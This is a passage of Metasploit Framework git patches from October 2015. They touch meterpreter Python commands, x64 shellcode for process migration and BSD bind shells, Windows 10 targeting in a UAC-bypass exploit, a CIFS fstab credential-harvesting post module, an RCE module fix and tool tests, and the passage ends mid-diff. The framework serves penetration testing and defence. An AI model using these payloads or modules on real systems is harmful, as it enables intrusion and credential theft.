TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) -TLV_TYPE_PYTHON_OUTPUT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_PYTHON_STDOUT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) +TLV_TYPE_PYTHON_STDERR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_PYTHON_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3) +TLV_TYPE_PYTHON_RESULT_VAR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4) +TLV_TYPE_PYTHON_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb index bf9ab4cf18..ff3eb3674f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb @@ -29,26 +29,63 @@ class Console::CommandDispatcher::Python # def commands { + 'python_reset' => 'Resets/restarts the Python interpreter', 'python_execute' => 'Execute a python command string' } end + def cmd_python_reset(*args) + client.python.reset + print_good('Python interpreter successfully reset') + end + + @@python_execute_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help banner'], + '-r' => [true, 'Name of the variable containing the result'] + ) + def python_execute_usage - print_line('Usage: python_execute [python code]') + print_line('Usage: python_execute [-r result var name]') print_line - print_line('Runs the given python string on the target and returns the output.') + print_line('Runs the given python string on the target. If a result is required,') + print_line('it should be stored in a python variable, and that variable should') + print_line('passed using the -r parameter.') + print_line(@@python_execute_opts.usage) end # # Execute a simple python command string # def cmd_python_execute(*args) - if args.length == 0 + if args.length == 0 || args.include?('-h') python_execute_usage return false end - client.python.execute_string(args[0]) + code = args.shift + result_var = nil + + @@python_execute_opts.parse(args) { |opt, idx, val| + case opt + when '-r' + result_var = val + end + } + + result = client.python.execute_string(code, result_var) + if result[:result] + print_good("#{result_var} = #{result[:result]}") + elsif result[:stdout].length == 0 and result[:stderr].length == 0 + print_good("Command executed without returning a result") + end + + if result[:stdout].length > 0 + print_good("Content written to stdout:\n#{result[:stdout]}") + end + + if result[:stderr].length > 0 + print_error("Content written to stderr:\n#{result[:stderr]}") + end end end From 22c424a4c616214f24c59817dd4ba3ca8e03b2b2 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 1 Oct 2015 10:24:13 +1000 Subject: [PATCH 0779/2172] Fix CreatProcessA stack alignment in prependmigrate x64 --- lib/msf/core/payload/windows/prepend_migrate.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 21337af716..58ad420cfe 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -456,10 +456,11 @@ module Msf::Payload::Windows::PrependMigrate call rbp ; GetStartupInfoA( &si ); jmp getcommand - gotcommand: + gotcommand: pop rsi ; rsi = address of process name (command line) ; create the process + push 0 ; keep the stack aligned lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation push rdi ; lpProcessInformation : write processinfo here lea rcx,[rsp+0x58] From 7451cf390cfdf97db98df8738289e4864c777602 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 1 Oct 2015 11:16:18 +1000 Subject: [PATCH 0780/2172] Add Windows 10 "support" to bypassuac_injection --- modules/exploits/windows/local/bypassuac_injection.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 8767b28f44..9bc5fa4028 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -197,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Local winver = sysinfo['OS'] case winver - when /Windows (7|8|2008|2012)/ + when /Windows (7|8|2008|2012|10)/ print_good("#{winver} may be vulnerable.") else fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") @@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Local paths[:szElevDir] = "#{win_path}\\System32\\sysprep" paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep" paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe" - when /Windows (8|2012)/ + when /Windows (8|2012|10)/ paths[:szElevDll] = 'NTWDBLIB.dll' paths[:szElevDir] = "#{win_path}\\System32" # This should be fine to be left blank From c92f65838e5c4fcc8e182c9359739e37a8e6640e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 30 Sep 2015 20:52:32 -0500 Subject: [PATCH 0781/2172] rspec for TechnetMsbSearch --- spec/tools/msu_finder_spec.rb | 197 +++++++++++++++++++++++++++++++--- 1 file changed, 185 insertions(+), 12 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index 4970a285f3..6d44c132a6 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -13,13 +13,21 @@ describe MicrosoftPatch do allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli) end + let(:technet) do + MicrosoftPatch::SiteInfo::TECHNET + end + + let(:microsoft) do + MicrosoftPatch::SiteInfo::MICROSOFT + end + + let(:googleapis) do + MicrosoftPatch::SiteInfo::GOOGLEAPIS + end + describe MicrosoftPatch::SiteInfo do context 'Constants' do context 'TECHNET' do - let(:technet) do - MicrosoftPatch::SiteInfo::TECHNET - end - it 'returns 157.56.148.23 as the IP' do expect(technet[:ip]).to eq('157.56.148.23') end @@ -30,10 +38,6 @@ describe MicrosoftPatch do end context 'MICROSOFT' do - let(:microsoft) do - MicrosoftPatch::SiteInfo::MICROSOFT - end - it 'returns 104.72.230.162 as the IP' do expect(microsoft[:ip]).to eq('104.72.230.162') end @@ -44,10 +48,6 @@ describe MicrosoftPatch do end context 'GOOGLEAPIS' do - let(:googleapis) do - MicrosoftPatch::SiteInfo::GOOGLEAPIS - end - it 'returns 74.125.28.95 as the IP' do expect(googleapis[:ip]).to eq('74.125.28.95') end @@ -257,37 +257,210 @@ describe MicrosoftPatch do end describe '#follow_redirect' do + let(:expected_header) do + { 'Location' => 'http://example.com/' } + end + + let(:http_res) do + res = Rex::Proto::Http::Response.new + allow(res).to receive(:headers).and_return(expected_header) + res + end + + it 'goes to a location based on the Location HTTP header' do + cli = Rex::Proto::Http::Client.new('127.0.0.1') + allow(cli).to receive(:connect) + allow(cli).to receive(:request_cgi) + allow(cli).to receive(:send_recv).and_return(http_res) + allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli) + + expect(subject.follow_redirect(technet, http_res).headers).to eq(expected_header) + end end describe '#get_download_page' do + it 'returns a Rex::Proto::Http::Response object' do + uri = URI('http://www.example.com/') + expect(subject.get_download_page(uri)).to be_kind_of(Rex::Proto::Http::Response) + end end describe '#get_download_links' do + let(:confirm_aspx) do + %Q| + + Download + + | + end + + let(:expected_link) do + 'http://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu' + end + + let(:download_html_res) do + html = %Q| + + Click here + + | + + res = Rex::Proto::Http::Response + allow(res).to receive(:body).and_return(html) + res + end + + it 'returns an array of links' do + cli = Rex::Proto::Http::Client.new('127.0.0.1') + allow(cli).to receive(:connect) + allow(cli).to receive(:request_cgi) + allow(cli).to receive(:send_recv).and_return(download_html_res) + allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli) + + expect(subject.get_download_links(confirm_aspx).first).to eq(expected_link) + end end describe '#has_advisory?' do + it 'returns true if the page is found' do + res = Rex::Proto::Http::Response.new + expect(subject.has_advisory?(res)).to be_truthy + end + + it 'returns false if the page is not found' do + html = %Q| + + We are sorry. The page you requested cannot be found + + | + + res = Rex::Proto::Http::Response.new + allow(res).to receive(:body).and_return(html) + expect(subject.has_advisory?(res)).to be_falsey + end end describe '#is_valid_msb?' do + let(:good_msb) do + 'MS15-100' + end + + let(:bad_msb) do + 'MS15-01' + end + + it 'returns true if the MSB format is correct' do + expect(subject.is_valid_msb?(good_msb)).to be_truthy + end + + it 'returns false if the MSB format is incorrect' do + expect(subject.is_valid_msb?(bad_msb)).to be_falsey + end + end end describe MicrosoftPatch::TechnetMsbSearch do + subject do + MicrosoftPatch::TechnetMsbSearch.new + end + + before(:each) do + allow_any_instance_of(MicrosoftPatch::Base).to receive(:print_debug) + allow_any_instance_of(MicrosoftPatch::Base).to receive(:send_http_request) { |info_obj, info_opts, opts| + case opts['uri'] + when /\/en\-us\/security\/bulletin\/dn602597\.aspx/ + html = %Q| +
+
+ + +
+ +
+ | + when /\/security\/bulletin\/services\/GetBulletins/ + html = %Q|{ + "l":1, + "b":[ + { + "d":"9/8/2015", + "Id":"MS15-100", + "KB":"3087918", + "Title":"Vulnerability in Windows Media Center Could Allow Remote Code Execution", + "Rating":"Important" + } + ] + } + | + else + html = '' + end + + res = Rex::Proto::Http::Response.new + allow(res).to receive(:body).and_return(html) + res + } + end + + let(:ie10) do + 'Windows Internet Explorer 10' + end + + let(:ie10_id) do + 10401 + end + describe '#find_msb_numbers' do + it 'returns an array of found MSB numbers' do + msb = subject.find_msb_numbers(ie10) + expect(msb).to be_kind_of(Array) + expect(msb.first).to eq('ms15-100') + end end describe '#search' do + it 'returns search results in JSON format' do + results = subject.search(ie10) + expect(results).to be_kind_of(Hash) + expect(results['b'].first['Id']).to eq('MS15-100') + end end describe '#search_by_product_ids' do + it 'returns an array of found MSB numbers' do + results = subject.search_by_product_ids([ie10_id]) + expect(results).to be_kind_of(Array) + expect(results.first).to eq('ms15-100') + end end describe '#search_by_keyword' do + it 'returns an array of found MSB numbers' do + results = subject.search_by_keyword('ms15-100') + expect(results).to be_kind_of(Array) + expect(results.first).to eq('ms15-100') + end end describe '#get_product_dropdown_list' do + it 'returns an array of products' do + results = subject.get_product_dropdown_list + expect(results).to be_kind_of(Array) + expect(results.first).to be_kind_of(Hash) + expected_hash = {:option_value=>"10175", :option_text=>"Active Directory"} + expect(results.first).to eq(expected_hash) + end end end From 494b9cf75f6eeff1ba3ab60fd16f8be17d19e2b2 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 30 Sep 2015 22:37:03 -0500 Subject: [PATCH 0782/2172] Clean up module Prefer TARGETURI and full_uri. --- .../scanner/http/verb_auth_bypass.rb | 23 ++++++++----------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index dd171affaa..48df7dd5e2 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' class Metasploit3 < Msf::Auxiliary @@ -21,14 +20,13 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'HTTP Verb Authentication Bypass Scanner', 'Description' => %q{ This module test for authentication bypass using different HTTP verbs. - }, - 'Author' => [ 'et [at] metasploit.com' ], + 'Author' => ['et [at] metasploit.com'], 'License' => BSD_LICENSE)) register_options( [ - OptString.new('PATH', [ true, "The path to test", '/']) + OptString.new('TARGETURI', [true, "The path to test", '/']) ], self.class) end @@ -44,20 +42,20 @@ class Metasploit3 < Msf::Auxiliary verbs = [ 'HEAD', 'TRACE', 'TRACK', 'Wmap', 'get', 'trace' ] res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']), + 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' }, 10) return if not res if not res.headers['WWW-Authenticate'] - print_status("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Authentication not required, resp code: [#{res.code}]") + print_status("#{full_uri} - Authentication not required [#{res.code}]") return end auth_code = res.code - print_status("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Authentication required: #{res.headers['WWW-Authenticate']}, resp code: [#{auth_code}]") + print_status("#{full_uri} - Authentication required: #{res.headers['WWW-Authenticate']} [#{auth_code}]") report_note( :host => ip, @@ -65,22 +63,22 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? 'https' : 'http'), :port => rport, :type => 'WWW_AUTHENTICATE', - :data => "#{datastore['PATH']} Realm: #{res.headers['WWW-Authenticate']}", + :data => "#{target_uri.path} Realm: #{res.headers['WWW-Authenticate']}", :update => :unique_data ) verbs.each do |tv| resauth = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']), + 'uri' => normalize_uri(target_uri.path), 'method' => tv }, 10) next if not resauth - print_status("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Testing verb #{tv}, resp code: [#{resauth.code}]") + print_status("#{full_uri} - Testing verb #{tv} [#{resauth.code}]") if resauth.code != auth_code and resauth.code <= 302 - print_good("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Possible authentication bypass with verb #{tv}, resp code: [#{resauth.code}]") + print_good("#{full_uri} - Possible authentication bypass with verb #{tv} [#{resauth.code}]") # Unable to use report_web_vuln as method is not in list of allowed methods. @@ -90,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? 'https' : 'http'), :port => rport, :type => 'AUTH_BYPASS_VERB', - :data => "#{datastore['PATH']} Verb: #{tv}", + :data => "#{target_uri.path} Verb: #{tv}", :update => :unique_data ) end @@ -98,4 +96,3 @@ class Metasploit3 < Msf::Auxiliary end end - From e2098822eb1cabfca77897418085c44a6e9f0b4f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 30 Sep 2015 23:00:46 -0500 Subject: [PATCH 0783/2172] Update msu_finder and rspec --- spec/tools/msu_finder_spec.rb | 124 ++++++++++++++++++++++++++++++++++ tools/msu_finder.rb | 11 +-- 2 files changed, 131 insertions(+), 4 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index 6d44c132a6..e98a985d91 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -467,19 +467,143 @@ describe MicrosoftPatch do describe MicrosoftPatch::GoogleMsbSearch do + subject do + MicrosoftPatch::GoogleMsbSearch.new + end + + let(:json_data) do + %Q|{ + "kind": "customsearch#search", + "url": { + "type": "application/json", + "template": "" + }, + "queries": { + "request": [ + { + "title": "Google Custom Search - internet", + "totalResults": "1", + "searchTerms": "internet", + "count": 10, + "startIndex": 1, + "inputEncoding": "utf8", + "outputEncoding": "utf8", + "safe": "off", + "cx": "" + } + ] + }, + "context": { + "title": "Technet.microsoft" + }, + "searchInformation": { + "searchTime": 0.413407, + "formattedSearchTime": "0.41", + "totalResults": "1", + "formattedTotalResults": "1" + }, + "items": [ + { + "kind": "customsearch#result", + "title": "Microsoft Security Bulletin MS15-093 - Critical", + "htmlTitle": "Microsoft Security Bulletin MS15-093 - Critical", + "link": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx", + "displayLink": "technet.microsoft.com", + "snippet": "", + "htmlSnippet": "", + "cacheId": "2xDJB6zqL_sJ", + "formattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx", + "htmlFormattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx", + "pagemap": { + "metatags": [ + { + "search.mshkeyworda": "ms15-093", + "search.mshattr.assetid": "ms15-093", + "search.mshattr.docset": "bulletin", + "search.mshattr.sarticletype": "bulletin", + "search.mshattr.sarticleid": "MS15-093", + "search.mshattr.sarticletitle": "Security Update for Internet Explorer", + "search.mshattr.sarticledate": "2015-08-20", + "search.mshattr.sarticleseverity": "Critical", + "search.mshattr.sarticleversion": "1.1", + "search.mshattr.sarticlerevisionnote": "", + "search.mshattr.sarticleseosummary": "", + "search.mshattr.skbnumber": "3088903", + "search.mshattr.prefix": "MSRC", + "search.mshattr.topictype": "kbOrient", + "search.mshattr.preferredlib": "/library/security", + "search.mshattr.preferredsitename": "TechNet", + "search.mshattr.docsettitle": "MSRC Document", + "search.mshattr.docsetroot": "Mt404691", + "search.save": "history", + "search.microsoft.help.id": "ms15-093", + "search.description": "", + "search.mscategory": "dn567670", + "search.mscategoryv": "dn567670Security10", + "search.tocnodeid": "mt404691", + "mshkeyworda": "ms15-093", + "mshattr": "AssetID:ms15-093", + "save": "history", + "microsoft.help.id": "ms15-093" + } + ] + } + } + ] +} + | + end + + before(:each) do + allow_any_instance_of(MicrosoftPatch::Base).to receive(:print_debug) + allow_any_instance_of(MicrosoftPatch::Base).to receive(:send_http_request) { |info_obj, info_opts, opts| + res = Rex::Proto::Http::Response.new + allow(res).to receive(:body).and_return(json_data) + res + } + end + + let(:expected_msb) do + 'ms15-093' + end + describe '#find_msb_numbers' do + it 'returns an array of msb numbers' do + results = subject.find_msb_numbers(expected_msb) + expect(results).to be_kind_of(Array) + expect(results).to eq([expected_msb]) + end end describe '#search' do + it 'returns a hash (json data)' do + results = subject.search(starting_index: 1) + expect(results).to be_kind_of(Hash) + end end describe '#parse_results' do + it 'returns a hash (json data)' do + res = Rex::Proto::Http::Response.new + allow(res).to receive(:body).and_return(json_data) + + results = subject.parse_results(res) + expect(results).to be_kind_of(Hash) + end end describe '#get_total_results' do + it 'returns a fixnum' do + total = subject.get_total_results(JSON.parse(json_data)) + expect(total).to be_kind_of(Fixnum) + end end describe '#get_next_index' do + it 'returns a fixnum' do + i = subject.get_next_index(JSON.parse(json_data)) + expect(i).to be_kind_of(Fixnum) + end end end diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index da2738e894..d89a0b5fe6 100644 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -405,10 +405,11 @@ module MicrosoftPatch # @return [Array] MSB numbers def find_msb_numbers(keyword) msb_numbers = [] - starting_index = 1 + next_starting_index = 1 begin - while ( starting_index = get_next_index( (results = search(keyword: keyword, starting_index: starting_index))) ) > 0 + while + results = search(keyword: keyword, starting_index: next_starting_index) items = results['items'] items.each do |item| title = item['title'] @@ -417,6 +418,8 @@ module MicrosoftPatch msb_numbers << msb.downcase end end + next_starting_index = get_next_index(results) + break if next_starting_index == 0 end rescue RuntimeError => e print_error(e.message) @@ -487,7 +490,7 @@ module MicrosoftPatch # @param j [Hash] JSON data from Google. # @return [Fixnum] def get_total_results(j) - j['queries']['request'].first['totalResults'] + j['queries']['request'].first['totalResults'].to_i end @@ -496,7 +499,7 @@ module MicrosoftPatch # @param j [Hash] JSON data from Google. # @return [Fixnum] def get_next_index(j) - j['queries']['nextPage'] ? j['queries']['nextPage'].first['startIndex'] : 0 + i = j['queries']['nextPage'] ? j['queries']['nextPage'].first['startIndex'] : 0 end # @!attribute api_key From 4c1678ef5c5fae8bbaa0579b5cc414f272d37097 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 30 Sep 2015 23:01:23 -0500 Subject: [PATCH 0784/2172] I don't need i --- tools/msu_finder.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index d89a0b5fe6..60a0f7af61 100644 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -499,7 +499,7 @@ module MicrosoftPatch # @param j [Hash] JSON data from Google. # @return [Fixnum] def get_next_index(j) - i = j['queries']['nextPage'] ? j['queries']['nextPage'].first['startIndex'] : 0 + j['queries']['nextPage'] ? j['queries']['nextPage'].first['startIndex'] : 0 end # @!attribute api_key From 8866b15f3b6b0dbeccd7b22a3804c6dc00afce57 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 1 Oct 2015 00:24:43 -0500 Subject: [PATCH 0785/2172] Fix creds reporting --- modules/post/linux/gather/mount_cifs_creds.rb | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index b52c756c7e..3dd504f162 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -47,10 +47,10 @@ class Metasploit3 < Msf::Post cred = {} # if the fstab line utilizies the credentials= option, read the credentials from that file if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/) - host = $1 + cred[:host] = $1 # IPs can occur using the ip option, which is a backup/alternative # to letting UNC resolution do its thing - host = $1 if (fstab_line =~ /ip=([^, ]+)/) + cred[:host] = $1 if (fstab_line =~ /ip=([^, ]+)/) if (fstab_line =~ /cred(?:entials)?=([^, ]+)/) file = $1 # skip if we've already parsed this credentials file @@ -58,11 +58,13 @@ class Metasploit3 < Msf::Post # store it if we haven't cred_files << file # parse the credentials - creds << parse_credentials_file(file) + cred.merge!(parse_credentials_file(file)) # if the credentials are directly in /etc/fstab, parse them elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/) - creds << parse_fstab_credentials(fstab_line) + cred.merge!(parse_fstab_credentials(fstab_line)) end + + creds << cred end end @@ -71,11 +73,9 @@ class Metasploit3 < Msf::Post creds.compact! creds.uniq! creds.each do |cred| - # XXX: currently, you can only report_auth_info on an IP or a valid Host. in our case, - # host[:host] is *not* a Host. Fix this some day. if (Rex::Socket.dotted_ip?(cred[:host])) report_cred( - ip: rhost, + ip: cred[:host], port: 445, service_name: 'smb', user: cred[:user], @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Post end # Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab. - # Returns the username+domain and password as a hash, nil if nothing is found. + # Returns the username+domain and password as a hash. def parse_fstab_credentials(line, file="/etc/fstab") creds = {} # get the username option, which comes in one of four ways @@ -159,11 +159,12 @@ class Metasploit3 < Msf::Post creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/) creds[:file] = file unless (creds.empty?) - (creds.empty? ? nil : creds) + + creds end # Parse mount.cifs credentials from +file+, returning the username+domain and password - # as a hash, nil if nothing is found. + # as a hash. def parse_credentials_file(file) creds = {} domain = nil @@ -181,6 +182,6 @@ class Metasploit3 < Msf::Post creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user]) creds[:file] = file unless (creds.empty?) - (creds.empty? ? nil : creds) + creds end end From 39dc1815882b21044fc81cff5a905faffbece4af Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 1 Oct 2015 00:26:07 -0500 Subject: [PATCH 0786/2172] Update rpsec --- spec/tools/msu_finder_spec.rb | 37 ++++++++++++++++++++++++++++++++--- 1 file changed, 34 insertions(+), 3 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index e98a985d91..f6f2b70fae 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -610,16 +610,47 @@ describe MicrosoftPatch do describe MicrosoftPatch::Module do + let(:msb) do + 'ms15-100' + end + + let(:expected_link) do + 'http://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu' + end + + before(:each) do + opts = { keyword: msb } + allow(MicrosoftPatch::OptsConsole).to receive(:get_parsed_options).and_return(opts) + allow_any_instance_of(MicrosoftPatch::PatchLinkCollector).to receive(:download_advisory).and_return(Rex::Proto::Http::Response.new) + allow_any_instance_of(MicrosoftPatch::PatchLinkCollector).to receive(:get_details_aspx).and_return([expected_link]) + allow_any_instance_of(MicrosoftPatch::PatchLinkCollector).to receive(:get_download_page).and_return(Rex::Proto::Http::Response.new) + allow_any_instance_of(MicrosoftPatch::PatchLinkCollector).to receive(:get_download_links).and_return([expected_link]) + allow_any_instance_of(MicrosoftPatch::Base).to receive(:print_debug) + allow_any_instance_of(MicrosoftPatch::Base).to receive(:print_error) + end + + subject do + MicrosoftPatch::Module.new + end + describe '#get_download_links' do + it 'returns an array of links' do + results = subject.get_download_links(msb) + expect(results).to be_kind_of(Array) + expect(results.first).to eq(expected_link) + end end describe '#google_search' do + it 'returns search results' do + skip('See rspec for MicrosoftPatch::GoogleMsbSearch#find_msb_numbers') + end end describe '#technet_search' do - end - - describe '#run' do + it 'returns search results' do + skip('See rspec for MicrosoftPatch::TechnetMsbSearch#find_msb_numbers') + end end end From 0d7d6376c204a507c8996c46fde1600edd0e82ac Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 1 Oct 2015 00:54:15 -0500 Subject: [PATCH 0787/2172] Follow the Google API limit --- tools/msu_finder.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index 60a0f7af61..948c49e690 100644 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -418,8 +418,15 @@ module MicrosoftPatch msb_numbers << msb.downcase end end + next_starting_index = get_next_index(results) - break if next_starting_index == 0 + next_page = results['queries']['nextPage'] + + # Google API Documentation: + # https://developers.google.com/custom-search/json-api/v1/using_rest + # "This role is not present if the current results are the last page. + # Note: This API returns up to the first 100 results only." + break if next_page.nil? || next_starting_index > 100 end rescue RuntimeError => e print_error(e.message) From dc3f1c84ed9d07460bc4dd849d91dd0afe9a3b8c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 1 Oct 2015 01:01:02 -0500 Subject: [PATCH 0788/2172] Update help --- tools/msu_finder.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index 948c49e690..08056d9e03 100644 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -558,6 +558,10 @@ module MicrosoftPatch Download: The following trick demonstrates how you can automatically download the updates: ruby #{__FILE__} -q "ms15-100" -r x86 > /tmp/list.txt && wget -i /tmp/list.txt + + Patch Extraction: + After downloading the patch, you can use the extract_msu.bat tool to automatically extract + Microsoft patches. | end From 66560d533957e59902bfc8e084e33242c32ef707 Mon Sep 17 00:00:00 2001 From: JT Date: Thu, 1 Oct 2015 19:16:23 +0800 Subject: [PATCH 0789/2172] Update zemra_panel_rce.rb --- modules/exploits/multi/http/zemra_panel_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb index ea92b43f00..e4b9367e66 100644 --- a/modules/exploits/multi/http/zemra_panel_rce.rb +++ b/modules/exploits/multi/http/zemra_panel_rce.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote 'cmd' => cmd } }) - if !res && res.code == 200 + unless res && res.code == 200 fail_with(Failure::Unknown, 'Failed to execute the command.') end end From 88eecca4b1930fa4b7129eb99efe8c3e92a24bd0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 1 Oct 2015 09:29:39 -0500 Subject: [PATCH 0790/2172] Save two bytes on shell_bind_tcp_small --- .../payloads/singles/bsd/x64/shell_bind_tcp_small.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index c956ff5199..7434fef178 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 93 + CachedSize = 91 include Msf::Payload::Single include Msf::Payload::Bsd @@ -31,7 +31,7 @@ module Metasploit3 { 'Offsets' => { - 'LPORT' => [ 19, 'n' ], + 'LPORT' => [ 18, 'n' ], }, 'Payload' => "\x6a\x61" +# pushq $0x61 # @@ -44,9 +44,10 @@ module Metasploit3 "\x0f\x05" +# syscall # "\x48\x97" +# xchg %rax,%rdi # "\x52" +# push %rdx # - "\x48\xba\x00\x02\x11" +# mov 0x000000005c110200, # - "\x5c\x00\x00\x00\x00" +# %rdx # - "\x52" +# push %rdx # + "\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 # + "\x5a" +# pop %rdx # + "\x89\xd2" +# mov %edx, %edx # + "\x52" +# pushq %rdx # "\x48\x89\xe6" +# mov %rsp,%rsi # "\x6a\x10" +# pushq $0x10 # "\x5a" +# pop %rdx # From 04879ed75265d7a2f74549bd81375b137372d172 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 1 Oct 2015 09:33:22 -0500 Subject: [PATCH 0791/2172] Save two bytes on shell_bind_ipv6_tcp --- modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb | 9 +++++---- modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb index 6fe6deffef..ed92ea0a2f 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 95 + CachedSize = 93 include Msf::Payload::Single include Msf::Payload::Bsd @@ -31,7 +31,7 @@ module Metasploit3 { 'Offsets' => { - 'LPORT' => [ 21, 'n' ], + 'LPORT' => [ 20, 'n' ], }, 'Payload' => "\x6a\x61" +# pushq $0x61 # @@ -46,8 +46,9 